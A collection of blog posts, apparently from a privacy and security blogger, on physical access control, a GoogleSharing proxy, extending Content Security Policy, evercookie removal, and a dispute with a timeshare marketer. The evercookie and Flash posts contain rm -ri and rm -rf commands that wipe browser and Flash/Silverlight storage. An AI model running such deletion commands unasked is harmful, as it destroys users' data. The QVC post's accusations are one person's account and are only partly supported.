• Physical Access Management - It's 2011 and there are still wildly inconsistent ways in which this is managed. Make sure there is proper equipment sign in/out, that guards actually check bags & that legitimate data is entered (or go for the Ricardo Semler approach, but don't pay for an awkward middle ground). I still regularly sign in as Osama Bin Laden and walk in/out with laptops hidden in my bag. There are some nice advances in tech in ZA too; electronic sign in devices that look up ID numbers OTA and take copies of fingerprints. Next up make sure there's adequate camera coverage of your offices & that suspicious behavior is actually queried. A guy in a suit should not be an untested edge case.
  

These items need some real thought, and the above is intended merely as pointers, rather than full implementation guides. As for actual predictions, we've had some fun with that at work and will hopefully add to the noise with those soon.

GoogleSharing is something I've written about before, and strongly believe in. It's a way of proxying connections to unauthenticated Google services in such a way that:

• Google can't work out who you are (random session cookies are used)
  
• Google can't work out that you're using a proxy
• The proxy can't see your searches (if using SSL)

However, right now it only runs in Firefox. While there are some people looking to port it to other browsers, there are some options available in the meantime, especially for mobile browsers.

The first, and most portable is to use the front-end I've previously blogged about. It's currently sitting at http://1984.za.net/. Unfortunately, this will not be encrypted, and the webserver will be able to see your searches, however, the other benefits remain, and you can use it when you're not at your computer.

The second, and which allows you to continue to use Google as normal, and works for more than just search, is a dynamic proxy.pac file hosted here. By default it gives you a working proxy.pac that will proxy *all* Google services (even authenticated ones, to be fixed) via GoogleSharing. The options are:

• proxy.php - will load the default .pac which will specify a DIRECT connection, without proxy for non-Google services
• proxy.php?proxy=<proxy>&port=<port> - will allow a specific proxy & port to be specified if you are being one e.g proxy.php?proxy=192.168.1.1&port=3128
• proxy.php?proxy=<proxy>&port=<port>&socks - will do the same as the previous, except specify the default proxy as a SOCKS proxy

Additionally, it will blackhole Google Ads and the Facebook like button on non-webkit browsers (on webkit browsers it will ignore the blackhole, to be fixed).

This is in alpha right now, but I've been using it for a week on my iPhone (more on how to change 3G proxy settings on the iPhone later) with no major problems. Feel free to make a copy of the output and create your own proxy.pac. Any feedback would be appreciated.

Todo:

• Only proxy unauthenticated Google services
• Implement a blackhole that Webkit respects
• Provide a full ad-blocker blacklist from EasyList as an optional extra
  

While sitting is a couple of talks at BlackHat Abu Dhabi, I got to thinking about how we can improve browser defenses. Much of the problems we have are due to the same problem that has plagued systems since Captain Crunch first blew his whistle at 2600 hertz; the data and control channel are the same. Your browser can't tell the difference between attacker injected script and legitimate scripts and happily responds to both. It's what allows XSS and CSRF attacks, and even SQLi. Framebusting is a great example of this, a site owner doesn't want his page to sit in a frame, but has to compete in the arms race against attackers who want the site to be framed. What we need is some way for a site-owner to specify a security policy, that exists outside of the application. The site-owner should be able to specify that the site shouldn't be framed, and the browser respect that, without an attacker able to inject an alternate set of instructions (or at least not trivially via the actual app). Right now, even if a site-owner is aware of the problem, with a smart security team, all they can do is compete in the arms race.

There's a corollary to the problem however, third-party content. The web is made of mashups. Even single-source content providers still include a raft of third-party content, from RSS feeds, to advertising or JQuery. This introduces a whole set of potential interconnected vulnerability that a site owner can't control. If an ad provider is hacked and used to distribute malware, then the site-owner's only choice (if detected) is to remove the ad.

We need something that can give a site owner control back of their application. Something that can be specified outside of the page content. A security policy that puts all the controls we have available to us with software (enforced security policy & ability to disable features not required) back in the hand of the right people. Once we get it, there's a whole separate discussion about how to get it widely supported and implemented, but we would need to agree on what that should be first.

Right now, a proposal for something like the first requirement exists in the form of the Content Security Policy put forward by Mozilla. This allows for a security policy to be specified outside the page, as a header returned by the webserver. Primarily, it controls what sources third party content can be loaded from, and prevents ways of getting around that. Additionally, it allows for policy directives that control additional features of the browsing experience. Following our framebusting example, one could use the frame-ancestors directive to ensure that your site can't be framed (in browsers which support CSP) by malicious sites. No JS in the page or frame attempts from third-parties could say otherwise. CSP is pretty great, but...

Like many defenses, the attacks have moved on. If you look at the number of new attacks enabled by HTML5, or attacks using Flash/SilverLight, limiting scripting and 10 policy directives won't cut it (but provides significantly more capability than nothing). We need something more comprehensive, and more future proof. What I'd like to propose, in a very early state looking for feedback, is an extension to CSP, where we have a policy directive for every browser feature. This could be done as some sort of capability tree where either an "on/off/whitelist/blacklist" rule can be applied. For example, image the following depth-first view of a tree leg "external data -> css -> images -> background-image" At the highest level, we could provide a global white/black list of the origins of external data, or turn it off completely. The next level down, we could do the same for CSS only, or completely disable it if our site doesn't require it. Continuing down the tree until it is possible for us to provide highly-granular control of individual CSS directives specifically. Thus, once could create very simple policies, or more complex granular policies.

This would buy us two improvements to CSP as I see it. The first is that we could avoid a reactive update of CSP every time a new attack using functionality not catered for by CSP comes out. The second benefit, is that the potential "attack surface" for an application could be greatly limited. Imagine being able to profile your app and provide a specific policy enabling only the functionality required by your app. Any attacks requiring such functionality would fail.

For the second problem, there are far less advanced tools available. The closet to it are the new HTML5 <iframe> sandbox directives, but they fall way short. What we need is something that can apply to all third party content (much like CSP, image sources, javascript sources, style sources etc.), and that provides a granular capabilities model. For this we could use the same capability tree from above. We'd need to work out how a site-owner defined policy and third-party enforced policy would relate, but it makes sense that a site-owner should not be able to re-enable stuff when including it as third-party content that the external site-owner has set. If not, attackers could just disable anti-framebusting CSP in their frame. So, a site-owner would only be able to further disable functionality when including third-party content. This could comfortable fit into the exiting CSP proposal, which already allows policy directives to be applied per origin.

 This would allow a site owner to enforce significantly more control over content she was serving from third parties. For example, content from an ad network could be limited to only the functionality required (e.g. a specific image source and inclusion method, and possible explicit JS functionality to allow the monkey to be punched) and any malware served through it would be fairly castrated. Likewise, one could include content like Google Analytics or the FaceBook like button, but prevent them from setting a cookie.

In summary, I am proposing a discussion be started on extending CSP to provide a more granular control and enforcement model and further extending it to allow the enforcement to extend to how a site-owner wants to include third-party content. I'm possibly being quite naive about all of this, and would love some feedback. Truthfully, I'm not sure what the next steps would be, but we need to invest more time into fixing the web, rather than just breaking it.

UPDATE: An iPhone developer has turned this into an awesome little SBSetting addon. You'll still need a jailbroken phone but can install it via Cydia.

My previous experiments in killing the Evercookie in Safari sparked similar posts describing how to do the same for Chrome and Firefox. However, my second most frequent browsing platform is my iPhone, and I thought I would investigate how Apple IOS, MobileSafari & embedded WebKit fares. It does much worse. There are two problems; the first is, any app which embeds MobileWebKit has it's own stores for normal cookies, browser cache and HTML5 storage. Even if you go to your Safari settings (Settings -> Safari -> Clear {Cookies|Cache} & Settings -> Safari -> Databases -> Edit -> (delete all present) ) and delete everything, you haven't cleared the cookies, caches & stores in the other apps (e.g. even a simple cookie set for singe.za.net in Twitter.app's embedded browser, will still exist). The second problem is that, in MobileSafari, even if you do clear your MobileSafari store, the HTML5 localStorage mechanism isn't properly cleared and the evercookie reloads itself.

To hard clear all the WebKit datastores, including normal cookies, I put the following quick script together (you'll need a JailBroken iPhone). It will iterate through all WebKit databases, including MobileSafari's and clear out the evercookie. You'll need to close (not suspend) all apps running WebKit for this to be effective (the evercookie reloads itself in seconds if they're open). Note, it produces ugly output, and prompts before you delete files, but I wanted some visibility into who is storing what where. The first run deleted over 30 cookies in various places.

#!/bin/bash
echo "Deleting evercookie locations Safari missed (see samy.pl/evercookie)"

for DIRNAME in $(find /var/mobile/Applications -maxdepth 3 -type d -print|grep WebKit); do
        #Delete HTML5 SQLite DB
        ls "$DIRNAME"/Databases/*
        rm -ri "$DIRNAME"/Databases/*
        rm -ri /var/mobile/Library/WebKit/Databases/*
        #Delete HTML5 local storage
        ls "$DIRNAME"/LocalStorage/*
        rm -ri "$DIRNAME"/LocalStorage/*
        rm -ri /var/mobile/Library/WebKit/LocalStorage/*
        #Delete normal cookies
        ls "$DIRNAME"/Cookies/*
        rm -ri "$DIRNAME"/Cookies/*
        rm -ri /var/mobile/Library/WebKit/Cookies/*
done

I know this and my previous entry are scorched earth tactics. I'm okay with that for initial work and for browsers I don't use as my primary, due to limited privacy controls. Eventually these controls will need to be built into browsers (control to prevent, visibility into what is set when allowed, and an ability to delete). Something I can see all browsers (possibly except Chrome, because Google wouldn't be able to make money monetising your personal details then) doing.

In short, what does Apple need to do to fix this? They first need to update the MobileSafari preferences to properly clear HTML5 local storage. Currently, there is no way to do this without jailbreaking. Second, they need to add the ability to clear the history/cache/cookies/HTML5 storage for all apps with an embedded WebKit browser. How they do it is up to them, but a central option to clear all would be a good start.

Update: Clarified what the two separate problems are, and added a section on what Apple should do to fix. Also, hello to all the Slashdot and ThreatPost readers :)

I've been playing with ways of nuking evercookie-style identifier dropping (note: killing the evercookie specifically is silly, I'm aiming for unknown reimplementation too) and have worked some stuff out about LSOs. LSO are Local Storage Objects, they are ways Flash and Silverlight can store info on your machine rather than the remote server. The most common uses appear to be to drop an identifier, which behaves in exactly the same way as a cookie, or to store preferences (e.g. youtube volume settings).

The following information pertains to OSX, I'll get to other OS'es but I imagine their implementations won't vary greatly.

On OSX, three locations are relevant for these:

1. /Users/<username>/Library/Preferences/Macromedia/Flash Player/#SharedObjects/<8 random alphanumeric characters>
   
2. /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/
3. /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/<8.3 random alphanumeric>/<8.3 random alphanumeric>/1/
   

The first is where Adobe Flash LSOs are stored, the second is where site-specific Flash configurations are stored and the final is where Microsoft Silverlight LSOs are stored. Adobe LSO's are stored in files with the .sol extension. Silverlight uses a more complex storage mechanism and stores the data in a series of .dat & .txt files.

At first I played with just nuking everything with a recursive force delete. This will clear out anything in the LSO stores. You can even safely go as high up the directory tree as to exclude the <random dirs> e.g. rm -rf /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/*. However, this will not prevent future LSOs from being set. This will help provide anonymity (from techniques using these identifiers) between each clearing out, but not during, and frankly isn't good enough.

Next, I wanted to prevent them from being re-set. So, I looked at disabling the top-level storage directories by removing all permissions, but that causes undefined behaviour including Safari crashes and Flash/Silverlight universally not running. But Adam Shostack has helpfully sent me a script he had created which deleted the files, recreated blanks, and removed permissions. So, I set about experimenting with that. What I found was that while this works fine for Silverlight, it doesn't for Flash. Flash happily ignores the permissions and just overwrites the file (no symlink vuln here, I checked). Ok, so I then tried linking them to /dev/null, same thing, works for Silverlight, but Flash just sets them back. In some cases, Flash will even go so far as to temporarily use different file extensions to write the files, and move them over to the original once they're available again. Is it just me or is that overly persistent? I eventually worked out, by actually looking at Adam's code, that changing perms or symlinking to /dev/null on the directory containing the .sol rather than the .sol itself works. However, even then, the browser seems to still be able to create temporary LSOs in memory that persist until refreshed.

I eventually decided using the programs' own configuration options was probably the best way. Both Flash and Silverlight have a configuration option to limit the storage of LSOs. Flash uses the settings manager to modify the file /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/settings.sol By flipping the second byte after the "allowThirdPartyLSO" keyword you can manually set the setting. I opted to just generate a good settings.sol that I could overwrite the existing one with, which allows changes in this file to be easily managed by just regenerating a new one. Silverlight is much easier; you can either use the built-in settings manager by right-clicking in any Silverlight app, or create a blank file in /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/<random 8.3>/<random 8.3>/1/disabled.dat . Setting both of these permanently, and more robustly, disabled LSOs for both system.

However, one issue remains. Even with this setting, Flash still creates an entry is directory (2) above, to allow site-specific configurations items to be stored. This setting inherits from the global config, and won't allow custom data to be stored if all 3rd party LSOs are blocked. This setting is stored in /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/#<domain.name>/settings.sol in the second byte after the "allow" keyword.  This certainly provides some useful info for forensic investigators: any time a user with all Flash local storage settings off and all privacy settings on visits a flash page, an entry will be created in the location above. You can't clear this from within the browser without the help of an extension which deletes the files. Also, less worryingly, Silverlight's file needs to be placed in the unique random directory structure that's created, which means a unique identifier persists. The solution there was just to change the directory name randomly, which Silverlight happily rolls with, and another UID bites the dust.

In short, the article above describes the best way to permanently disable LSO storage in Flash & Silverlight, and what not to try. The end result should be, that the evercookie won't be able to use them as locations. However, neither will legitimate applications. For the most part, this doesn't appear to break anything, as mostly apps store preference data, but there must be a few apps it will break. The solution to that will be detailed with some of the other, more interesting evercookie work at a later stage.

Donn is being bullied by QVC for their Carlswald based marketing. He is being sued for defamation. Now I'm no lawyer, but I'm sure truth is a defence to defamation, as is it being in the public interest. If someone asked me whether to buy services from QVC, I would strongly recommend against it for the below reasons based on my experiences (and reiterated by a wealth of negative complaints on hellopeter, even with them diluted through their user of different company names, and several blogs).

P.S. The exact link between QVC and the marketing front is unclear, but based on their (now removed) documentation sent to Donn, and the information from commentators below, there definitely seems to be one. Given the years of bad press, QVC certainly can't claim they didn't know/endorse this. Either way, make up your own mind, don't take my stuff as gospel.

1. They misrepresent themselves. They tell you that you have won a car. When I specifically asked Anna if this had anything to do with time-shares, she said "no". I was lied to.
2. It is so unlikely that you will win the car that the claim that, you have already won it, is misleading. Your chances are likely worse than the 1 in 15 Devine informed me of. Their business model could not survive if they had to give away a car to every 15 people. (According to their own calculations, they make an average of R54k per 59 people. Giving away a R68k car per 15 would put them at a loss of R213k before other prizes and operating costs are taking into account.)
3. They outright lied as to how they got my details. Devine told me it was a competition I entered 'sometime'. I don't enter these sorts of competitions, and given he didn't have my surname, it is likely I didn't complete an entry. I also never give competitions in general nor QVC in particular permission to phone me.
4. They keep changing their front company name (see the list below), nearly every company in the world tries to add value to their brand, identified by their name. Constantly changing your name, on the surface, makes it look as though you are avoiding the negative value attached, and it certainly helps to dilute their hellopeter scores.
5. They ask you to bring a partner for what appear to be mischievous reasons. A close personal friend (who shall not be named due to fear of intimidatory litigation) who attended one of QVC's presentations said he and an older man and his wife were belittled in front of their wives for not being able to afford a break for the family. They will likely counter that they ask you to bring your partner to help drive the other car if you win. However, when I asked to bring a male friend of mine, Devine got insistent that it be my wife.
6. Devine asked me how my surname was pronounced as he was unsure of how to pronounce it. The implication was that he had my surname. Given my surname is very pronounceable, it was clear he was trying to elicit this information by false pretences.

That's all I have, as I didn't go to their presentation thanks to the information provided to me by people such as Donn and numerous other sources (including the press). Their information allowed me to make an informed decision, and have QVC's untruths shown up as such. Disseminating this is in the public interest. At the very least it will save some people a potential waste of their time (as many of the hellopeter comments are thankful for), and at best it will force QVC to engage in honest and transparent marketing.

As an aside, and to help Donn's case, here are their hello peter stats per 'front' company:

• Quality Vacation Club - Complaints 99 Resolved 23
• Prestige Business Solutions - Complaints 32 Resolved 3
• Unique Connections - Complaints 12 Resolved 0
• World Connect / VIP / VIP World Connect - Complaints 12 Resolved 0
• Prime Vision - Complaints 10 Resolved 0
• Media Magic - Complaints 9 Resolved 0
• Mega Communications - Complaints 9 Resolved 0
• Ezweni Communications - Complaints 3 Resolved 0
• Dynamic Communication - Complaints 4 Resolved 0 (including one mislabelled under RCS)
• Real Communications / Real Communication - Complaints 1 Resolved 0
• Ecoworld - Complaints 1 Resolved 0
• Market Matrix - Complaints 1 Resolved 0

Total 184 Complaints and 26 Resolutions in the last 12 months! That's an average of 15 complaints a month (there's that number 15 again) for the company names I've manager to track down.

P.S. This is like tracking a botnet :)

In his ZaCon talk, Haroon Meer worked in a fascinating comparison, by Michael Anissimov, between the fears that drove George Orwell when writing 1984, and those that drove Aldous Huxley when writing Brave New World.

In summary; Orwell feared censorship and centralised control of information, while Huxley feared so much information that people wouldn't engage in what really mattered. In a South Africa with proposed legislation to allow the government to declare some information so secret that it cannot be covered by the media (even if it meets the criteria of in the public interest), proposals to start censoring parts of the internet and a media tribunal to circumvent the existing ombudsman, it's easy to think Orwell is right. In many ways he is, and provides a haunting view of the dystopia this could become. However, there's no dichotomy here; Huxley's view is an equally important reminder of what we should do with the freedoms we have.

Personally, I find I could spend a whole day on Twitter/Facebook/IRC etc. I don't believe just using those technologies is a waste of time, in-fact I believe they can provide many benefits. However, it is easy to get trapped into constantly checking them and the inevitable meaningless interactions this leads to. Of course not every minute of the day can be spent in a productive rapture, but I wonder how much more we could achieve if we used them to better our collaboration as much as we better our cognitive load shedding. A potent reminder that freedom is worth nothing if not used.

What's more, from a privacy perspective; while it's right to worry about oppressive regimes and creepy attempts at implementing the panopticon (Orwell), it's as right, if not more pertinent, to worry about the privacy invasion from the tools and companies we love (Gmail, Facebook, Twitter etc.).

I'll be speaking at IS' Internetix 2010 conference and this was originally posted there. I was asked to put a blog post together as a teaser for my talk.

Privacy is dead, or so the common wisdom says. But that can't be true. Centuries of philosophy tell us that it's vital for our development and existence as human beings. As a trite example, try imagine having a truly intimate conversation with your partner while knowing someone else was listening. But that's not what I want to talk about here. If you want to have that conversation, start with this paper.

What I do want to talk about is how much privacy invasion we allow in our daily online activities. But first let's talk about Google. Google is a hugely successful corporation. What's more, people *think* it is a hugely successful corporation, and so attempt to copy their methods and business models. A quick look on Amazon for business books about Google shows 1660 books, while a search for the same on Yahoo shows 635. If that's not enough for you, then try and imagine another way of monetising online content other than through advertising (unless you're Rupert Murdoch). Google is so exemplary of the online business model, that the next best example, Facebook, provides little meaningful differentiation when it comes to privacy invasion. So what is this miraculous, often copied, business model; wholesale personal data collection, correlation & aggregation used to better target ads.

You don't have to have thought very hard to have realised by now that Google's services aren't free. Sure, they don't cost you money, but Google needs to make money. They do that by collecting data about you, and using it to better target advertising at you. This doesn't worry most people, as long as that data isn't handed over to creepy government agencies or personal stalkers or allowed to be individually perused by Google employees. While all of those things are possible, and warrant enough worry in themselves, the truth is you don't really know what data is being collected, where it's being exposed, in what form and to who. Let's take Axciom, a company who's, until recently, sole purpose was to buy data about people and sell it back to marketers. How much do they know about you, who are they selling it to and with what controls?

So how does the average website leverage this world of advertising-based monetary rewards? They just include a few pieces of code into their website. This code can do all sort of things, from tracking you around the web to build a behavioural profile, interrogating your browser and computer for information, or just keeping a record of who and where you are. The problem is that sliding in these third party web-sources is easy to do, and there are many rewards to be had, both monetary and functional. The former is the primary driver, the filthy lucre of ad-click monetisation, while the latter gives you all sorts of ways to increase the loot (think analytics). Let's take an example site: memeburn.com. I've chosen this at random, not to single them out, because everyone is doing it. To view the kif content at memeburn, your browser only needs to communicate to the http://memburn.com/ webserver. However, when we hit the front page, before loading anything fancy like JavaScript, content is pulled from two other domains: afrigator.com (from the unsubtly named /track/ directory) and myscoop.co.za. After loading JavaScript, content is pulled from 34 domains in total (6 appear to belong to memeburn, 8 belong to Google, 6 to Facebook and 6 to Twitter with 10 others distributed among others). By way of comparison, a load of techcrunch.com hits 39 domains, this certainly isn't something memeburn only is engaging in. By just visiting the site, before we've even moved the mouse or read an article your browser has contacted, been poked, prodded and queried by dozens of services, none of which actually present you with the content you're there for, and with whom, for the most part, neither you nor the site have any contractual relationship with. Sure, they're privacy policies will state that they only give your information to business partners, aka anyone who will give them money for it. As we move up the stack and start using the web applications, the number of services and amount of information collected only increases.  Come to the talk to see how something as simple as your search data speaks volumes about you. Now multiply that by every page you visit, every day you use the internet, over a lifetime; that's a lot of data. If you don't think it says anything about you, come to the talk to have your opinion changed.

The big problem is with finding solutions. For you to individually protect yourself against the multiple methods of data collection is currently a huge burden. If you ever want to see just how big, come and check out my browser setup. The balance needs to be tipped, with companies bearing more of the costs of privacy, instead of it all resting on the consumer. In the meantime, if you're a web developer, start thinking about whether you really need to hand so much of your users' data over to third parties. At the very least, it will result in faster page loads. In the meantime, while us consumers wait for privacy legislation to catch up, there is some help in the form of browser add-ons. For example, AdBlock (Chrome, Firefox) will cut out a lot of the third parties, and not impact your ability to see the content (i.e. no cost to you), in fact things look cleaner and load faster. This is the only way we can vote with our money and attempt to force a change in just how much privacy invasion needs to occur for something as uninteresting to the worlds problems as targeting advertising.